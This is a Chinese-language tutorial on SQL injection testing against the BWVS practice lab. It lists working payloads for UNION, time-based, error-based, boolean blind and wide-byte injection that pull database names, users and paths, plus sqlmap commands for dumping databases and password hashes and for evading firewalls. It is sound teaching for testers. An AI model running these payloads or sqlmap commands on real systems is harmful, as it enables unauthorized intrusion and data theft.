大数跨境

安全测试之SQL注入(一)

安全测试之SQL注入(一) 慧测
2019-04-03
1
导读:安全测试之SQL注入(一)


# 全文的例子均来自于搭建的BWVS安全测试系统


1. 定义


指通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令

 

2. 原理


1.通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合


2.通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统

 

3. 测试点


1.寻找注入点


2.常用注入方式:


内联SQL注入,终止式SQL注入,时间延迟,SQL通配符注入


3. 如何避免sql注入

 

4. 测试方法和工具


1. 测试工具: sqlmap


2. 测试方法:


1)注入点各个参数


1. 输入框/筛选框(找到带有参数传递的URL页面 :


比如:

<FORM></FORM>的标签中间的每一个参数传递都有可能被利用


2. 接口:POSTGET请求


比如: POST请求

http://172.16.3.116/BWVS/user/updateName.php?user_name=xiaoyan&u_id=1&submit=submit

 

2)手动注入


        字符串/数字内联注入


 终止式注入:通过注释剩下的查询来成功结束该语句


联合查询注入


(必须先试出数据表有多少列字段,必须是结构完全一致的记录集合才可以使用UNION


and 1=2 union select1,2,version(),4 --

1' UNION SELECT 1,concat_ws("~",database(),user(),version(),@@basedir),3--


常用函数:


1. version() --mysql 版本


2. user()    --用户名


3. database() --数据库名


4. @@datadir  --数据库的data路径


5. @@version_compile_os     --操作系统版本


6. concat(str1,str2)  --没有分隔符地连接字符串


7. concat_ws(separator,str1,str2)  -- 含有分隔符的连接字符串


8. group_concat(str1,str2) --连接一个组所有的字符串,逗号分隔


9. @@basedir  --数据库的安装路径


时间盲注


                   时间延时:(服务器响应中的延迟说明向后台数据库注入SQL语句成功)


         1sqlserver使用的命令:  WAITFOR DELAY 'hours: minutes:seconds'

                     输入框输入: ;waitfor delay '0:0:5';--

                   

         2mysql使用的命令:SLEEP(duration)

                    and sleep(3);


         3OraclePL/SQL 使用的命令: DBMS_LOCK.SLEEP


                   mysql注入例子:


                   延时类:sleep,benchmark(),通常与条件类函数配合使用


                   sleep(arg1)arg1中断的时间单位为秒


                   语句:select 1,IF(1=1,sleep(3),'goodbye'),3


                   若注入成功,则返回结果:页面延迟3秒显示

 

                   benchmark(arg1,arg2)arg1为操作的函数,arg2为操作次数


                   语句:select *from news where id = '' union select1,IF(1=1,benchmark(5000000,md5('aa')),'goodbye'),3 --

                   

若注入成功,则返回结果:页面延迟2秒显示

                  

         报错盲注:(mysql例子)


           1extractvalue(arg1,arg2):xml中返回包含查询值的字符串。arg1xml文档名称,arg2Xpath格式字符串

                    select 1,extractvalue(1,concat(0x7e,(selectuser()),0x7e)),3 --+

                   返回结果:XPATHsyntax error: '~root@localhost~'

                  


           2updatexml(arg1,arg2,arg3):改变文档中符合条件的节点的值,arg3为替换查找到的符合条件的数据

                  select * from news where id='' unionselect 1,updatexml(1,concat(0x7e,(select user()),0x7e),1),3 --'

                   返回结果:XPATHsyntax error: '~root@localhost~'

          

           3floor(arg1):函数只返回arg1整数部分,小数部分舍弃

                   select1,(select 1 from (select count(*),concat(user(),floor(rand(0)*2))x fromi_s.tables group by x)a),3 --+

                   返回结果:Duplicateentry  'root@localhost1' from key'group_key'

          

           布尔盲注


                   substr,substring,mid:

                   用法基本相同,截取字符串的一部分(一般在盲注中会用到)


                            substr使用范围:oracle,mysql,sqlserver


                            substring使用范围:mysql,sqlserver


                            mid使用范围:mysql

                  

                   例子:select *from news where id ='' union select 1,substr(@@datadir,1,10),3 --

                              select * from news where id ='' union select1,left(@@datadir,1,10),3 --


                              # 从右边开始截取字符串

                              select * from news where id ='' union select1,right(@@datadir,1,10),3 --


通配符注入 _ % [] [^]



宽字节注入


         php开启magic_quotes_gpc(魔术引号),或者使用addslashes,mysql_real_escape_string等函数进行过滤时,


         如果查询语句中存在单引号,那么可以尝试闭合单引号,进行过滤


         如果数据使用GB2312,GBK,GB18030等宽字节的编码时,就会造成宽字节注入


         当输入%df'时,addslashes转义成 %dF%5C%27GBK编码后变成'

                   构成语句:1%df'and 1=2 union select 1, user(),database() --

 

3)利用工具注入


sqlmap


1. 官网:http://sqlmap.org/


2. sqlmap需要python2.7的环境才可安装


3. 下载安装包解压到python 安装目录下,cmd命令进入目录:pythonsqlmap.py -help出现右图即代表安装成功


4. sqlmap命令详解


参考:https://www.cnblogs.com/shengulong/p/7404642.html

 

基本注入的命令:


1)列举数据库(爆库)


python sqlmap.py -u"http://172.16.3.116/BWVS/search.php?search=xiao" --dbs


2)检索当前数据库和当前用户

                 

pythonsqlmap.py -u "http://172.16.3.116/BWVS/search.php?search=xiao"

--cookie="PHPSESSID=akkpblglu7m987h5ovdisd30r0"–current-db –current-user”


3-p 指定参数


python sqlmap.py -u"url" -v 1 -p "id"

-p可以指定多参数-p"cat,id"


4POST提交


pythonsqlmap.py -u "http://172.16.3.116/BWVS/user/updateName.php"--method=POST --data "user_name=xiao&u_id=1&submit=submit"


5)自动输入模式


pythonsqlmap.py -u "http://172.16.3.116/BWVS/search.php?search=xiao"  --batch

 

更多命令解释


--cookie :          cookieDVWA安全等级从high设置为low”

-u :           指定目标URL

-b :           获取DBMS banner

--current-db : 获取当前数据库

--current-user : 获取当前用户

--users            所有用户

--passwords    密码

-D XXX --tables  ( --D 指定数据库名称 --tables)

-D 指定数据库名称 -T 指定要列出字段的表--columns ( 指定列出字段 )

--level 2                    指定级别

-r                                 txt文本读取


比如文本文件内如下:

               POST /BWVS/user/updateName.php HTTP/1.1                                                                           Host: 172.16.3.116                                           

User-Agent: Mozilla/4.0                                               user_name=xiaoyan&u_id=1&submit=submit


当请求是HTTPS时,需要配合--force-ssl参数来使用,或在Host加上:443

--tamper          绕过防火墙

--level=LEVEL                   测试的等级(1-5,默认为1)


--level参数设定为3或者3以上时会对referer User-Angent进行注入

--risk=RISK                        测试的风险等级(0-3,默认为1)

 

 

 

 

下期精彩:


SQL联合注入的典型例子

通配符注入例子

5. 主流防御SQL注入的方法





往期回顾:



Android APP性能测试笔记(二)

Android APP性能测试笔记(一)

如何进行前端性能测试--入门篇

mock + fidder如何应用在测试中

 dubbo接口界面化调试工具(二)

 dubbo接口界面化调试工具(一)





- END -








【声明】内容源于网络
0
0
慧测
专注人工智能前沿技术落地企业实战应用
内容 404
粉丝 0
慧测 专注人工智能前沿技术落地企业实战应用
总阅读104
粉丝0
内容404